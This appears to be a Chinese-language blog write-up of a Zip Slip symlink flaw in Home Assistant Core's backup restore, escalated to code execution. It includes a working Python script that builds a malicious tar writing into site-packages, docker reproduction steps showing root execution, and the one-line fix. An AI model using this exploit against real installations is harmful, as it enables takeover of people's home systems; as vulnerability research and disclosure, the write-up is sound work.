今天的設備是一個開源韌體 - Home Assist Hub,一個智慧家庭方案裡面的 Zip Slip 漏洞,並且可以透過任意檔案寫入升級到 RCE,意外是個很新的洞,大概也是 AI Slop 出來的?,不過相當新穎

設備名稱:Home Assist Core
漏洞版本:(tag) 2026.5.4
主要的漏洞位置在2026.5.4 版本以前的 homeassistant/backup_restore.py 中,
ostf.tar.extractall(
path=Path(tempdir, "extracted"),
members=securetar.secure_path(ostf.tar),
filter="fully_trusted",
)
<SNIP>
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf),
filter="fully_trusted",
)
filter 被設定為完全信任,不進行驗證。
再加上members中引用的 securetar 套件中 secure_path 的實作只檢查了 member.name,並沒有複查 linkname
def secure_path(tar: tarfile.TarFile) -> Generator[tarfile.TarInfo, None, None]:
"""Security safe check of path.
Prevent ../ or absolut paths
"""
for member in tar:
file_path = Path(member.name) # 只檢查name
try:
if file_path.is_absolute():
raise ValueError()
Path("/fake", file_path).resolve().relative_to("/fake")
except (ValueError, RuntimeError):
_LOGGER.warning("Found issue with file %s", file_path)
continue
else:
yield member
被傳入 secure_path 的 ostf.tar 在 python tar 解壓的實作中,會先把 symlink member 建立成 symlink,官方文件中也建議**使用 extraction filter 來防止 symlinks that affect later members **。 在本次的實踐中並沒有被設定好,因此成為漏洞原因。
補充: python 3.14 中的 filter 防護
e.g.,
data/evil_link -> /tmpdata/evil_link/payload.txt第 1 筆解壓縮之後會變成
extract_root/data/evil_link -> /tmp
第 2 筆準備解壓時會再次進行 realpath / symlink resolution,先把前面的路徑改成tmp,變成/tmp/payload.txt
就不會變成extract_root/data/evil_link/payload.txt了
要實際進行 PoC,首先要建立一個自定義的tar,建立第一個 symlink,然後後續的檔案寫入經由這個symlink連接到的地方
Entry 1 #建立 symlink
data/evil_link -> /tmp
Entry 2 #寫入檔案
data/evil_link/payload.txt
|
v
kernel follow evil_link
|
v
/tmp/payload.txt
若要提權到RCE,則會將evil_link替換成會實際執行程式的路徑,e.g., /usr/local/lib/python3.14/site-packages/,檔案則寫入 data/evil_link/poc.py,實際會被解譯成 /usr/local/lib/python3.14/site-packages/poc.py。
之後 Python 啟動時會自動 import poc.py,自動執行 payload
import io, tarfile
OUT = "payload.tar" # 搞一個從裡面生的 tar 文件做基底
with tarfile.open(OUT, "w") as tf:
# 建立 symlink:
s = tarfile.TarInfo("data/poc_link")
s.type = tarfile.SYMTYPE
s.linkname = "/usr/local/lib/python3.14/site-packages/"
tf.addfile(s)
# 順著 symlink 寫入 poc 檔案
payload = b"AFW success\n"
f = tarfile.TarInfo("data/poc_link/poc.py")
f.size = len(payload)
tf.addfile(f, io.BytesIO(payload))
print("built:", OUT)
大致流程就是
malicious tar
↓
先建立 symlink
↓
後面的 file write 經過 symlink
↓
寫出 extraction root
↓
Arbitrary File Write
↓
寫到會被執行的位置
↓
RCE
由於涉及高危顯漏洞,以下 POC 有部分內容會進行刻意錯置打碼
官方有提供 docker 檔案,直接啟用
docker run -d --name ha-cve --privileged --restart=no \
-e TZ=Asia/Taipei \
-v "$HOME/ha-cve/config:/config" \
-p 8123:8123 \
ghcr.io/home-assistant/home-assistant:2026.5.4
確認版本、套件/usr/local/bin/hass --version → 2026.5.4
Python 3.14.2
docker run --rm --entrypoint /bin/sh
ghcr.io/home-assistant/home-assistant:2026.5.4 -c \
"ls -la /usr/local/lib/python3.14/site-packages/poc.py
2>&1"
No such file or directory
在 container 中執行 poc.py
docker exec ha-cve cat /tmp/HA_PWNED_64824
# uid=0(root) gid=0(root) groups=0(root),...
docker exec ha-cve sh -c 'cat
/usr/local/lib/python3.14/site-packages/poc.py && md5sum
/usr/local/lib/python3.14/site-packages/poc.py'
import pathlib, subprocess
r = subprocess.run(["id"], capture_output=True, text=True)
pathlib.Path("/tmp/HA_PWNED_64824").write_text(...) ← 219 bytes,
root:root
4e0fa92ef863de37af80d956378ba06d poc.py
把原先 filter="fully_trusted" 改成 filter="tar" 後就沒問題了超水,又是一個水洞了
今天喝了芒果口味的魔爪,好甜。順便補了前面的 todo,沒意外下一篇會是 patch diff 或是一個小小的 warpup
在之後才是 Secure Boot 、硬體 debug 和 AI 輔助挖洞/逆向
[1] https://github.com/Boreas37/CVE-2026-64824-PoC
[2] https://github.com/home-assistant/core
[3] https://nvd.nist.gov/vuln/detail/cve-2026-64824